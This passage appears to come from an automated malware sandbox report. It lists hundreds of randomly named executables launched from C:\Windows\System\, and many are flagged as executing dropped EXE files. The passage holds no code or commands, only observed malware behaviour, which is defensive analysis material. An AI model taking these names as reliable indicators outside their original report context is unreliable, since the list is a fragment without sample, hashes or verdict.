- C:\Windows\System\ZCzsRUj.exe
  C:\Windows\System\ZCzsRUj.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\hCIfYvE.exe
  C:\Windows\System\hCIfYvE.exe
  2⤵
  - Executes dropped EXE
  PID:2988
- C:\Windows\System\mziVSkh.exe
  C:\Windows\System\mziVSkh.exe
  2⤵
  - Executes dropped EXE
  PID:2760
- C:\Windows\System\unDlEoM.exe
  C:\Windows\System\unDlEoM.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\sNdcWvO.exe
  C:\Windows\System\sNdcWvO.exe
  2⤵
  - Executes dropped EXE
  PID:2716
- C:\Windows\System\tpBQhaU.exe
  C:\Windows\System\tpBQhaU.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\dyUcRTN.exe
  C:\Windows\System\dyUcRTN.exe
  2⤵
  - Executes dropped EXE
  PID:2604
- C:\Windows\System\WynHEgE.exe
  C:\Windows\System\WynHEgE.exe
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\Windows\System\VnKZQHY.exe
  C:\Windows\System\VnKZQHY.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- C:\Windows\System\vkmqWGI.exe
  C:\Windows\System\vkmqWGI.exe
  2⤵
  - Executes dropped EXE
  PID:872
- C:\Windows\System\uWQPMKI.exe
  C:\Windows\System\uWQPMKI.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- C:\Windows\System\uTVmqSd.exe
  C:\Windows\System\uTVmqSd.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Windows\System\uUubYMn.exe
  C:\Windows\System\uUubYMn.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\psqsFhC.exe
  C:\Windows\System\psqsFhC.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\QxYWmdi.exe
  C:\Windows\System\QxYWmdi.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\XnclxDt.exe
  C:\Windows\System\XnclxDt.exe
  2⤵
  - Executes dropped EXE
  PID:1304
- C:\Windows\System\WBDJRlL.exe
  C:\Windows\System\WBDJRlL.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\CtRIQRK.exe
  C:\Windows\System\CtRIQRK.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\TcHQKbZ.exe
  C:\Windows\System\TcHQKbZ.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\vhawDom.exe
  C:\Windows\System\vhawDom.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\jzpOMAS.exe
  C:\Windows\System\jzpOMAS.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\SZThRaF.exe
  C:\Windows\System\SZThRaF.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\DGApYQH.exe
  C:\Windows\System\DGApYQH.exe
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\System\UdGSOXC.exe
  C:\Windows\System\UdGSOXC.exe
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\System\SIbmZVo.exe
  C:\Windows\System\SIbmZVo.exe
  2⤵
  - Executes dropped EXE
  PID:712
- C:\Windows\System\izUWPNw.exe
  C:\Windows\System\izUWPNw.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\eDHhqQA.exe
  C:\Windows\System\eDHhqQA.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Windows\System\nKHnUEq.exe
  C:\Windows\System\nKHnUEq.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\tigSCbb.exe
  C:\Windows\System\tigSCbb.exe
  2⤵
  - Executes dropped EXE
  PID:1864
- C:\Windows\System\CmIcuaQ.exe
  C:\Windows\System\CmIcuaQ.exe
  2⤵
  - Executes dropped EXE
  PID:1044
- C:\Windows\System\TtFFnrI.exe
  C:\Windows\System\TtFFnrI.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\MEpmdgI.exe
  C:\Windows\System\MEpmdgI.exe
  2⤵
  - Executes dropped EXE
  PID:1404
- C:\Windows\System\xddGgLL.exe
  C:\Windows\System\xddGgLL.exe
  2⤵
  - Executes dropped EXE
  PID:880
- C:\Windows\System\wQEOlvd.exe
  C:\Windows\System\wQEOlvd.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\BiDqalj.exe
  C:\Windows\System\BiDqalj.exe
  2⤵
  - Executes dropped EXE
  PID:1768
- C:\Windows\System\HqPsZYY.exe
  C:\Windows\System\HqPsZYY.exe
  2⤵
  - Executes dropped EXE
  PID:1640
- C:\Windows\System\gCpBmRb.exe
  C:\Windows\System\gCpBmRb.exe
  2⤵
  - Executes dropped EXE
  PID:820
- C:\Windows\System\RgHuzwb.exe
  C:\Windows\System\RgHuzwb.exe
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Windows\System\fUmouwg.exe
  C:\Windows\System\fUmouwg.exe
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Windows\System\FSjSEXL.exe
  C:\Windows\System\FSjSEXL.exe
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Windows\System\CLSSPak.exe
  C:\Windows\System\CLSSPak.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\VjVQhtl.exe
  C:\Windows\System\VjVQhtl.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\blNyvHg.exe
  C:\Windows\System\blNyvHg.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\GdceRAY.exe
  C:\Windows\System\GdceRAY.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\kCpcXYx.exe
  C:\Windows\System\kCpcXYx.exe
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Windows\System\LqWVSCu.exe
  C:\Windows\System\LqWVSCu.exe
  2⤵
  - Executes dropped EXE
  PID:1020
- C:\Windows\System\VcSGSqh.exe
  C:\Windows\System\VcSGSqh.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\NTPVJxM.exe
  C:\Windows\System\NTPVJxM.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\MRDtfHG.exe
  C:\Windows\System\MRDtfHG.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\IKJKdZp.exe
  C:\Windows\System\IKJKdZp.exe
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\System\ytIZsev.exe
  C:\Windows\System\ytIZsev.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\GpGDojT.exe
  C:\Windows\System\GpGDojT.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\DJgSFwi.exe
  C:\Windows\System\DJgSFwi.exe
  2⤵
  - Executes dropped EXE
  PID:2916
- C:\Windows\System\jBHqehe.exe
  C:\Windows\System\jBHqehe.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\apKyBAl.exe
  C:\Windows\System\apKyBAl.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\iAqOXlR.exe
  C:\Windows\System\iAqOXlR.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\wcbfbKn.exe
  C:\Windows\System\wcbfbKn.exe
  2⤵
  - Executes dropped EXE
  PID:2124
- C:\Windows\System\pyScSGF.exe
  C:\Windows\System\pyScSGF.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Windows\System\apEyOZU.exe
  C:\Windows\System\apEyOZU.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\oVZBZpZ.exe
  C:\Windows\System\oVZBZpZ.exe
  2⤵
  - Executes dropped EXE
  PID:1320
- C:\Windows\System\cwMikVO.exe
  C:\Windows\System\cwMikVO.exe
  2⤵
  - Executes dropped EXE
  PID:1228
- C:\Windows\System\yBgUoss.exe
  C:\Windows\System\yBgUoss.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\nUkKnXc.exe
  C:\Windows\System\nUkKnXc.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\ZkYNzcs.exe
  C:\Windows\System\ZkYNzcs.exe
  2⤵
  PID:2024
- C:\Windows\System\sXRJqNf.exe
  C:\Windows\System\sXRJqNf.exe
  2⤵
  PID:1784
- C:\Windows\System\yDDwBPv.exe
  C:\Windows\System\yDDwBPv.exe
  2⤵
  PID:2500
- C:\Windows\System\fnLSNBA.exe
  C:\Windows\System\fnLSNBA.exe
  2⤵
  PID:1296
- C:\Windows\System\qQFxMyn.exe
  C:\Windows\System\qQFxMyn.exe
  2⤵
  PID:2440
- C:\Windows\System\bxBHhkU.exe
  C:\Windows\System\bxBHhkU.exe
  2⤵
  PID:680
- C:\Windows\System\fkKZrgq.exe
  C:\Windows\System\fkKZrgq.exe
  2⤵
  PID:1628
- C:\Windows\System\NrjSxmN.exe
  C:\Windows\System\NrjSxmN.exe
  2⤵
  PID:1088
- C:\Windows\System\ktMjjej.exe
  C:\Windows\System\ktMjjej.exe
  2⤵
  PID:644
- C:\Windows\System\fAfhqlw.exe
  C:\Windows\System\fAfhqlw.exe
  2⤵
  PID:1772
- C:\Windows\System\ARmhqvl.exe
  C:\Windows\System\ARmhqvl.exe
  2⤵
  PID:1624
- C:\Windows\System\ppxDQrj.exe
  C:\Windows\System\ppxDQrj.exe
  2⤵
  PID:2644
- C:\Windows\System\hAXKWtQ.exe
  C:\Windows\System\hAXKWtQ.exe
  2⤵
  PID:1924
- C:\Windows\System\NnApBNT.exe
  C:\Windows\System\NnApBNT.exe
  2⤵
  PID:1860
- C:\Windows\System\FUYaEVJ.exe
  C:\Windows\System\FUYaEVJ.exe
  2⤵
  PID:1828
- C:\Windows\System\ZYafmrl.exe
  C:\Windows\System\ZYafmrl.exe
  2⤵
  PID:1732
- C:\Windows\System\juAcKFJ.exe
  C:\Windows\System\juAcKFJ.exe
  2⤵
  PID:2108
- C:\Windows\System\CzCwKdY.exe
  C:\Windows\System\CzCwKdY.exe
  2⤵
  PID:564
- C:\Windows\System\FxoJYqp.exe
  C:\Windows\System\FxoJYqp.exe
  2⤵
  PID:2356
- C:\Windows\System\BhTRHTf.exe
  C:\Windows\System\BhTRHTf.exe
  2⤵
  PID:3028
- C:\Windows\System\FfnAZxR.exe
  C:\Windows\System\FfnAZxR.exe
  2⤵
  PID:1804
- C:\Windows\System\GGtdrzI.exe
  C:\Windows\System\GGtdrzI.exe
  2⤵
  PID:1920
- C:\Windows\System\YHqKgxF.exe
  C:\Windows\System\YHqKgxF.exe
  2⤵
  PID:1580
- C:\Windows\System\LMIkBfA.exe
  C:\Windows\System\LMIkBfA.exe
  2⤵
  PID:2788
- C:\Windows\System\mHNiaGu.exe
  C:\Windows\System\mHNiaGu.exe
  2⤵
  PID:1908
- C:\Windows\System\kEWAwIW.exe
  C:\Windows\System\kEWAwIW.exe
  2⤵
  PID:852
- C:\Windows\System\AGisoTP.exe
  C:\Windows\System\AGisoTP.exe
  2⤵
  PID:2100
- C:\Windows\System\WRyxuXl.exe
  C:\Windows\System\WRyxuXl.exe
  2⤵
  PID:2688
- C:\Windows\System\ybtFAGa.exe
  C:\Windows\System\ybtFAGa.exe
  2⤵
  PID:1688
- C:\Windows\System\AgLnXuw.exe
  C:\Windows\System\AgLnXuw.exe
  2⤵
  PID:1572
- C:\Windows\System\FtPKobE.exe
  C:\Windows\System\FtPKobE.exe
  2⤵
  PID:3076
- C:\Windows\System\wfXDScs.exe
  C:\Windows\System\wfXDScs.exe
  2⤵
  PID:3092
- C:\Windows\System\tnLqUJj.exe
  C:\Windows\System\tnLqUJj.exe
  2⤵
  PID:3108
- C:\Windows\System\umetvVI.exe
  C:\Windows\System\umetvVI.exe
  2⤵
  PID:3124
- C:\Windows\System\LRzENcd.exe
  C:\Windows\System\LRzENcd.exe
  2⤵
  PID:3140
- C:\Windows\System\XWSLXGZ.exe
  C:\Windows\System\XWSLXGZ.exe
  2⤵
  PID:3156
- C:\Windows\System\mqeahye.exe
  C:\Windows\System\mqeahye.exe
  2⤵
  PID:3172
- C:\Windows\System\ICsIjvM.exe
  C:\Windows\System\ICsIjvM.exe
  2⤵
  PID:3188
- C:\Windows\System\RYpRpDf.exe
  C:\Windows\System\RYpRpDf.exe
  2⤵
  PID:3204
- C:\Windows\System\rYCiRoN.exe
  C:\Windows\System\rYCiRoN.exe
  2⤵
  PID:3220
- C:\Windows\System\SKOrLeX.exe
  C:\Windows\System\SKOrLeX.exe
  2⤵
  PID:3236
- C:\Windows\System\TXlxRzS.exe
  C:\Windows\System\TXlxRzS.exe
  2⤵
  PID:3280
- C:\Windows\System\mGXSttA.exe
  C:\Windows\System\mGXSttA.exe
  2⤵
  PID:3300
- C:\Windows\System\dxIbuNR.exe
  C:\Windows\System\dxIbuNR.exe
  2⤵
  PID:3324
- C:\Windows\System\KCtPoUI.exe
  C:\Windows\System\KCtPoUI.exe
  2⤵
  PID:3400
- C:\Windows\System\pCMTruS.exe
  C:\Windows\System\pCMTruS.exe
  2⤵
  PID:3416
- C:\Windows\System\LRfDaGt.exe
  C:\Windows\System\LRfDaGt.exe
  2⤵
  PID:3440
- C:\Windows\System\SUuOnzD.exe
  C:\Windows\System\SUuOnzD.exe
  2⤵
  PID:3460
- C:\Windows\System\eAhMbsU.exe
  C:\Windows\System\eAhMbsU.exe
  2⤵
  PID:3480
- C:\Windows\System\IneoWoB.exe
  C:\Windows\System\IneoWoB.exe
  2⤵
  PID:3500
- C:\Windows\System\omYHLYk.exe
  C:\Windows\System\omYHLYk.exe
  2⤵
  PID:3520
- C:\Windows\System\xxvynmI.exe
  C:\Windows\System\xxvynmI.exe
  2⤵
  PID:3540
- C:\Windows\System\wluGHHt.exe
  C:\Windows\System\wluGHHt.exe
  2⤵
  PID:3560
- C:\Windows\System\erPDJnc.exe
  C:\Windows\System\erPDJnc.exe
  2⤵
  PID:3580
- C:\Windows\System\PIeURbU.exe
  C:\Windows\System\PIeURbU.exe
  2⤵
  PID:3600
- C:\Windows\System\OXKycUL.exe
  C:\Windows\System\OXKycUL.exe
  2⤵
  PID:3616
- C:\Windows\System\ybyLDeP.exe
  C:\Windows\System\ybyLDeP.exe
  2⤵
  PID:3640
- C:\Windows\System\eiAsLjE.exe
  C:\Windows\System\eiAsLjE.exe
  2⤵
  PID:3660
- C:\Windows\System\inugTKG.exe
  C:\Windows\System\inugTKG.exe
  2⤵
  PID:3684
- C:\Windows\System\QUsqZGX.exe
  C:\Windows\System\QUsqZGX.exe
  2⤵
  PID:3700
- C:\Windows\System\wjHTlky.exe
  C:\Windows\System\wjHTlky.exe
  2⤵
  PID:3720
- C:\Windows\System\hXxNpyt.exe
  C:\Windows\System\hXxNpyt.exe
  2⤵
  PID:3744
- C:\Windows\System\SvFlopw.exe
  C:\Windows\System\SvFlopw.exe
  2⤵
  PID:3764
- C:\Windows\System\GhMjbPn.exe
  C:\Windows\System\GhMjbPn.exe
  2⤵
  PID:3780
- C:\Windows\System\AmJlvGC.exe
  C:\Windows\System\AmJlvGC.exe
  2⤵
  PID:3800
- C:\Windows\System\yhTwjjt.exe
  C:\Windows\System\yhTwjjt.exe
  2⤵
  PID:3824
- C:\Windows\System\ugjXAwk.exe
  C:\Windows\System\ugjXAwk.exe
  2⤵
  PID:3844
- C:\Windows\System\RyBRTSi.exe
  C:\Windows\System\RyBRTSi.exe
  2⤵
  PID:3864
- C:\Windows\System\sieWYLU.exe
  C:\Windows\System\sieWYLU.exe
  2⤵
  PID:3884
- C:\Windows\System\YIXCzFR.exe
  C:\Windows\System\YIXCzFR.exe
  2⤵
  PID:3900
- C:\Windows\System\VRBiYeP.exe
  C:\Windows\System\VRBiYeP.exe
  2⤵
  PID:3920
- C:\Windows\System\PgCdVXz.exe
  C:\Windows\System\PgCdVXz.exe
  2⤵
  PID:3940
- C:\Windows\System\WmcauPw.exe
  C:\Windows\System\WmcauPw.exe
  2⤵
  PID:3956
- C:\Windows\System\gCkWIla.exe
  C:\Windows\System\gCkWIla.exe
  2⤵
  PID:3976
- C:\Windows\System\QaaqnZD.exe
  C:\Windows\System\QaaqnZD.exe
  2⤵
  PID:3992
- C:\Windows\System\hOEVinW.exe
  C:\Windows\System\hOEVinW.exe
  2⤵
  PID:4012
- C:\Windows\System\SowYIFJ.exe
  C:\Windows\System\SowYIFJ.exe
  2⤵
  PID:4044
- C:\Windows\System\sXotlNi.exe
  C:\Windows\System\sXotlNi.exe
  2⤵
  PID:4060
- C:\Windows\System\SygMZBf.exe
  C:\Windows\System\SygMZBf.exe
  2⤵
  PID:4076
- C:\Windows\System\OSnCzja.exe
  C:\Windows\System\OSnCzja.exe
  2⤵
  PID:2748
- C:\Windows\System\dSQjRAh.exe
  C:\Windows\System\dSQjRAh.exe
  2⤵
  PID:844
- C:\Windows\System\zKAAUHk.exe
  C:\Windows\System\zKAAUHk.exe
  2⤵
  PID:2432
- C:\Windows\System\nSKXcee.exe
  C:\Windows\System\nSKXcee.exe
  2⤵
  PID:1096
- C:\Windows\System\gcIyrLw.exe
  C:\Windows\System\gcIyrLw.exe
  2⤵
  PID:1744
- C:\Windows\System\mQlREQP.exe
  C:\Windows\System\mQlREQP.exe
  2⤵
  PID:1936
- C:\Windows\System\mbrKkpK.exe
  C:\Windows\System\mbrKkpK.exe
  2⤵
  PID:3064
- C:\Windows\System\OAaSpJc.exe
  C:\Windows\System\OAaSpJc.exe
  2⤵
  PID:2132
- C:\Windows\System\liQsCwj.exe
  C:\Windows\System\liQsCwj.exe
  2⤵
  PID:1600
- C:\Windows\System\sgRUJWW.exe
  C:\Windows\System\sgRUJWW.exe
  2⤵
  PID:480
- C:\Windows\System\WHUzUgl.exe
  C:\Windows\System\WHUzUgl.exe
  2⤵
  PID:444
- C:\Windows\System\RhkmKyH.exe
  C:\Windows\System\RhkmKyH.exe
  2⤵
  PID:3116
- C:\Windows\System\pauXhma.exe
  C:\Windows\System\pauXhma.exe
  2⤵
  PID:3180
- C:\Windows\System\fhDQemw.exe
  C:\Windows\System\fhDQemw.exe
  2⤵
  PID:1608
- C:\Windows\System\gwsvvch.exe
  C:\Windows\System\gwsvvch.exe
  2⤵
  PID:920
- C:\Windows\System\ZmDCWUL.exe
  C:\Windows\System\ZmDCWUL.exe
  2⤵
  PID:888
- C:\Windows\System\HWMSeLx.exe
  C:\Windows\System\HWMSeLx.exe
  2⤵
  PID:3216
- C:\Windows\System\oweRBON.exe
  C:\Windows\System\oweRBON.exe
  2⤵
  PID:3260
- C:\Windows\System\VLEULMz.exe
  C:\Windows\System\VLEULMz.exe
  2⤵
  PID:3276
- C:\Windows\System\kXCPdzX.exe
  C:\Windows\System\kXCPdzX.exe
  2⤵
  PID:1560
- C:\Windows\System\hvYGWLn.exe
  C:\Windows\System\hvYGWLn.exe
  2⤵
  PID:3456
- C:\Windows\System\YKVhJhK.exe
  C:\Windows\System\YKVhJhK.exe
  2⤵
  PID:3288
- C:\Windows\System\VUleyYN.exe
  C:\Windows\System\VUleyYN.exe
  2⤵
  PID:2388
- C:\Windows\System\aPwnNrq.exe
  C:\Windows\System\aPwnNrq.exe
  2⤵
  PID:3360
- C:\Windows\System\nZoCIXz.exe
  C:\Windows\System\nZoCIXz.exe
  2⤵
  PID:3196
- C:\Windows\System\OxqbkGX.exe
  C:\Windows\System\OxqbkGX.exe
  2⤵
  PID:3104
- C:\Windows\System\TKooIGu.exe
  C:\Windows\System\TKooIGu.exe
  2⤵
  PID:2856
- C:\Windows\System\VldxmTN.exe
  C:\Windows\System\VldxmTN.exe
  2⤵
  PID:2720
- C:\Windows\System\ujsLnsh.exe
  C:\Windows\System\ujsLnsh.exe
  2⤵
  PID:3432
- C:\Windows\System\BXepLqy.exe
  C:\Windows\System\BXepLqy.exe
  2⤵
  PID:3496
- C:\Windows\System\LfgCelr.exe
  C:\Windows\System\LfgCelr.exe
  2⤵
  PID:3516
- C:\Windows\System\MzqptiE.exe
  C:\Windows\System\MzqptiE.exe
  2⤵
  PID:3576
- C:\Windows\System\lJaoQLW.exe
  C:\Windows\System\lJaoQLW.exe
  2⤵
  PID:3608
- C:\Windows\System\oIZBIqn.exe
  C:\Windows\System\oIZBIqn.exe
  2⤵
  PID:3656
- C:\Windows\System\nesRvrh.exe
  C:\Windows\System\nesRvrh.exe
  2⤵
  PID:3736
- C:\Windows\System\iDOGCkd.exe
  C:\Windows\System\iDOGCkd.exe
  2⤵
  PID:3812
- C:\Windows\System\gDmCoqp.exe
  C:\Windows\System\gDmCoqp.exe
  2⤵
  PID:3596
- C:\Windows\System\YdwRGxJ.exe
  C:\Windows\System\YdwRGxJ.exe
  2⤵
  PID:3632
- C:\Windows\System\OjAwotS.exe
  C:\Windows\System\OjAwotS.exe
  2⤵
  PID:3716
- C:\Windows\System\cKvOGFV.exe
  C:\Windows\System\cKvOGFV.exe
  2⤵
  PID:3792
- C:\Windows\System\eNiXnir.exe
  C:\Windows\System\eNiXnir.exe
  2⤵
  PID:3840
- C:\Windows\System\PlTzlgt.exe
  C:\Windows\System\PlTzlgt.exe
  2⤵
  PID:3928
- C:\Windows\System\LkYmjHK.exe
  C:\Windows\System\LkYmjHK.exe
  2⤵
  PID:3968
- C:\Windows\System\GcOuNBB.exe
  C:\Windows\System\GcOuNBB.exe
  2⤵
  PID:4056
- C:\Windows\System\KGpmILi.exe
  C:\Windows\System\KGpmILi.exe
  2⤵
  PID:4088
- C:\Windows\System\GglngNN.exe
  C:\Windows\System\GglngNN.exe
  2⤵
  PID:3880
- C:\Windows\System\PRnPwSk.exe
  C:\Windows\System\PRnPwSk.exe
  2⤵
  PID:4028
- C:\Windows\System\yrEBWyr.exe
  C:\Windows\System\yrEBWyr.exe
  2⤵
  PID:3984
- C:\Windows\System\BKnNUBq.exe
  C:\Windows\System\BKnNUBq.exe
  2⤵
  PID:3012
- C:\Windows\System\aDfANzV.exe
  C:\Windows\System\aDfANzV.exe
  2⤵
  PID:4068
- C:\Windows\System\LKcgOEh.exe
  C:\Windows\System\LKcgOEh.exe
  2⤵
  PID:2880
- C:\Windows\System\ARODCsu.exe
  C:\Windows\System\ARODCsu.exe
  2⤵
  PID:3000
- C:\Windows\System\nSxcwIE.exe
  C:\Windows\System\nSxcwIE.exe
  2⤵
  PID:924
- C:\Windows\System\tYHEgSm.exe
  C:\Windows\System\tYHEgSm.exe
  2⤵
  PID:3212
- C:\Windows\System\MJuvsLy.exe
  C:\Windows\System\MJuvsLy.exe
  2⤵
  PID:3412
- C:\Windows\System\kJplvfI.exe
  C:\Windows\System\kJplvfI.exe
  2⤵
  PID:3332
- C:\Windows\System\oNQxTvq.exe
  C:\Windows\System\oNQxTvq.exe
  2⤵
  PID:3380
- C:\Windows\System\qRUTHxm.exe
  C:\Windows\System\qRUTHxm.exe
  2⤵
  PID:824
- C:\Windows\System\XAQALXo.exe
  C:\Windows\System\XAQALXo.exe
  2⤵
  PID:2972
- C:\Windows\System\nbmgkmq.exe
  C:\Windows\System\nbmgkmq.exe
  2⤵
  PID:3200
- C:\Windows\System\hFBHHkg.exe
  C:\Windows\System\hFBHHkg.exe
  2⤵
  PID:3084
- C:\Windows\System\yNsLeMj.exe
  C:\Windows\System\yNsLeMj.exe
  2⤵
  PID:316
- C:\Windows\System\Bihpbqx.exe
  C:\Windows\System\Bihpbqx.exe
  2⤵
  PID:3228
- C:\Windows\System\fDppBFa.exe
  C:\Windows\System\fDppBFa.exe
  2⤵
  PID:3476
- C:\Windows\System\wVhehGM.exe
  C:\Windows\System\wVhehGM.exe
  2⤵
  PID:3556
- C:\Windows\System\PNPMnqg.exe
  C:\Windows\System\PNPMnqg.exe
  2⤵
  PID:3860
- C:\Windows\System\UUGdujN.exe
  C:\Windows\System\UUGdujN.exe
  2⤵
  PID:3712
- C:\Windows\System\bWzfdfo.exe
  C:\Windows\System\bWzfdfo.exe
  2⤵
  PID:3832
- C:\Windows\System\YJeRZDI.exe
  C:\Windows\System\YJeRZDI.exe
  2⤵
  PID:4092
- C:\Windows\System\SiFzoFt.exe
  C:\Windows\System\SiFzoFt.exe
  2⤵
  PID:3492
- C:\Windows\System\OLXCpgs.exe
  C:\Windows\System\OLXCpgs.exe
  2⤵
  PID:3732
- C:\Windows\System\FjMpepD.exe
  C:\Windows\System\FjMpepD.exe
  2⤵
  PID:3808
- C:\Windows\System\FUjOvvf.exe
  C:\Windows\System\FUjOvvf.exe
  2⤵
  PID:3624
- C:\Windows\System\krkKThe.exe
  C:\Windows\System\krkKThe.exe
  2⤵
  PID:1820
- C:\Windows\System\qzvEsnH.exe
  C:\Windows\System\qzvEsnH.exe
  2⤵
  PID:4100
- C:\Windows\System\QwhHYvp.exe
  C:\Windows\System\QwhHYvp.exe
  2⤵
  PID:4132
- C:\Windows\System\CEUwqtS.exe
  C:\Windows\System\CEUwqtS.exe
  2⤵
  PID:4152
- C:\Windows\System\SOcQIdk.exe
  C:\Windows\System\SOcQIdk.exe
  2⤵
  PID:4172
- C:\Windows\System\oenPCXa.exe
  C:\Windows\System\oenPCXa.exe
  2⤵
  PID:4192
- C:\Windows\System\ClsmBBf.exe
  C:\Windows\System\ClsmBBf.exe
  2⤵
  PID:4208
- C:\Windows\System\cNlinkT.exe
  C:\Windows\System\cNlinkT.exe
  2⤵
  PID:4232
- C:\Windows\System\frvYVMU.exe
  C:\Windows\System\frvYVMU.exe
  2⤵
  PID:4248
- C:\Windows\System\jtZsrOb.exe
  C:\Windows\System\jtZsrOb.exe
  2⤵
  PID:4272
- C:\Windows\System\nIJXnMK.exe
  C:\Windows\System\nIJXnMK.exe
  2⤵
  PID:4288
- C:\Windows\System\ffvYhwc.exe
  C:\Windows\System\ffvYhwc.exe
  2⤵
  PID:4308
- C:\Windows\System\AeEOmvv.exe
  C:\Windows\System\AeEOmvv.exe
  2⤵
  PID:4332
- C:\Windows\System\KvDDQSG.exe
  C:\Windows\System\KvDDQSG.exe
  2⤵
  PID:4348
- C:\Windows\System\HzlwgzN.exe
  C:\Windows\System\HzlwgzN.exe
  2⤵
  PID:4368
- C:\Windows\System\JCiSbTf.exe
  C:\Windows\System\JCiSbTf.exe
  2⤵
  PID:4384
- C:\Windows\System\gpknRle.exe
  C:\Windows\System\gpknRle.exe
  2⤵
  PID:4404
- C:\Windows\System\KyKdrnE.exe
  C:\Windows\System\KyKdrnE.exe
  2⤵
  PID:4428
- C:\Windows\System\LUOGwHj.exe
  C:\Windows\System\LUOGwHj.exe
  2⤵
  PID:4444
- C:\Windows\System\dnlaIsC.exe
  C:\Windows\System\dnlaIsC.exe
  2⤵
  PID:4468
- C:\Windows\System\WHyJrZR.exe
  C:\Windows\System\WHyJrZR.exe
  2⤵
  PID:4484
- C:\Windows\System\uPWjLsg.exe
  C:\Windows\System\uPWjLsg.exe
  2⤵
  PID:4504
- C:\Windows\System\KmideuG.exe
  C:\Windows\System\KmideuG.exe
  2⤵
  PID:4520
- C:\Windows\System\bmhSigj.exe
  C:\Windows\System\bmhSigj.exe
  2⤵
  PID:4544
- C:\Windows\System\eeqLTUS.exe
  C:\Windows\System\eeqLTUS.exe
  2⤵
  PID:4564
- C:\Windows\System\tgaXLUv.exe
  C:\Windows\System\tgaXLUv.exe
  2⤵
  PID:4580
- C:\Windows\System\svzKdjc.exe
  C:\Windows\System\svzKdjc.exe
  2⤵
  PID:4596
- C:\Windows\System\QTopLWy.exe
  C:\Windows\System\QTopLWy.exe
  2⤵
  PID:4620
- C:\Windows\System\zxPGyJv.exe
  C:\Windows\System\zxPGyJv.exe
  2⤵
  PID:4636
- C:\Windows\System\GWXceMI.exe
  C:\Windows\System\GWXceMI.exe
  2⤵
  PID:4656
- C:\Windows\System\iKdHtam.exe
  C:\Windows\System\iKdHtam.exe
  2⤵
  PID:4676
- C:\Windows\System\rjFFfmc.exe
  C:\Windows\System\rjFFfmc.exe
  2⤵
  PID:4696
- C:\Windows\System\xBGaiSq.exe
  C:\Windows\System\xBGaiSq.exe
  2⤵
  PID:4732
- C:\Windows\System\GNYBjUv.exe
  C:\Windows\System\GNYBjUv.exe
  2⤵
  PID:4752
- C:\Windows\System\BtBUUZC.exe
  C:\Windows\System\BtBUUZC.exe
  2⤵
  PID:4772
- C:\Windows\System\NFspQYs.exe
  C:\Windows\System\NFspQYs.exe
  2⤵
  PID:4792
- C:\Windows\System\zuuflhC.exe
  C:\Windows\System\zuuflhC.exe
  2⤵
  PID:4812
- C:\Windows\System\uImcyvT.exe
  C:\Windows\System\uImcyvT.exe
  2⤵
  PID:4832
- C:\Windows\System\DlYsvTe.exe
  C:\Windows\System\DlYsvTe.exe
  2⤵
  PID:4852
- C:\Windows\System\ynWLlRk.exe
  C:\Windows\System\ynWLlRk.exe
  2⤵
  PID:4872
- C:\Windows\System\mdGZSpr.exe
  C:\Windows\System\mdGZSpr.exe
  2⤵
  PID:4892
- C:\Windows\System\aLxddzi.exe
  C:\Windows\System\aLxddzi.exe
  2⤵
  PID:4912
- C:\Windows\System\ZzwwGTD.exe
  C:\Windows\System\ZzwwGTD.exe
  2⤵
  PID:4932
- C:\Windows\System\uRTOQpN.exe
  C:\Windows\System\uRTOQpN.exe
  2⤵
  PID:4952
- C:\Windows\System\cOXbWCu.exe
  C:\Windows\System\cOXbWCu.exe
  2⤵
  PID:4972
- C:\Windows\System\GszYjNa.exe
  C:\Windows\System\GszYjNa.exe
  2⤵
  PID:4988
- C:\Windows\System\kKroqJt.exe
  C:\Windows\System\kKroqJt.exe
  2⤵
  PID:5004
- C:\Windows\System\HKKqxgv.exe
